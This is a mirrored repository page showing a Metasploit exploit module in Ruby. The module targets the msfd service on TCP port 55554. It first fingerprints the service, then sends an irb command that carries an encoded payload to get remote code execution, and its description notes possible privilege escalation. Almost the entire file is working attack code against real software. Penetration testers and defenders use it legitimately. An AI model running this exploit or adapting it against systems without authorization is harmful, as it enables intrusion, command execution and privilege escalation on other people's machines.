modules/exploits/multi/misc/msfd_rce_remote.rb - master - githubmirror/metasploit-framework

modules/exploits/multi/misc/msfd_rce_remote.rb

78 строк2 KB

adfoster-r7

Add human-readable descriptions to CheckCode returns in remaining multi exploit modules

25 апр 2026, 12:52

25 апр 2026, 12:521e3727b

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Metasploit msfd Remote Code Execution',
        'Description' => %q{
          Metasploit's msfd-service makes it possible to get a msfconsole-like
          interface over a TCP socket. If this socket is accessible on a remote
          interface, an attacker can execute commands on the victim's machine.

          If msfd is running with higher privileges than the current local user,
          this module can also be used for privilege escalation. In that case,
          port forwarding on the compromised host can be used.

          Code execution is achieved with the msfconsole command: irb -e 'CODE'.
        },
        'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
        'License' => BSD_LICENSE,
        'Platform' => "ruby",
        'Arch' => ARCH_RUBY,
        'Payload' => {
          'Space' => 8192, # Arbitrary limit
          'BadChars' => "\x27\x0a",
          'DisableNops' => true
        },
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2018-04-11', # Vendor notification
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(55554)
      ]
    )
  end

  def check
    connect
    data = sock.get_once
    if data.nil?
      disconnect
      return Exploit::CheckCode::Unknown('No response received from target')
    end
    if data.include?("msf")
      disconnect
      return Exploit::CheckCode::Appears('Target appears to be running msfd')
    end
    disconnect
    return Exploit::CheckCode::Unknown('msfd service not detected')
  end

  def exploit
    connect
    sock.get_once
    sock.put "irb -e '" + payload.encoded + "'\n"
    disconnect
  end
end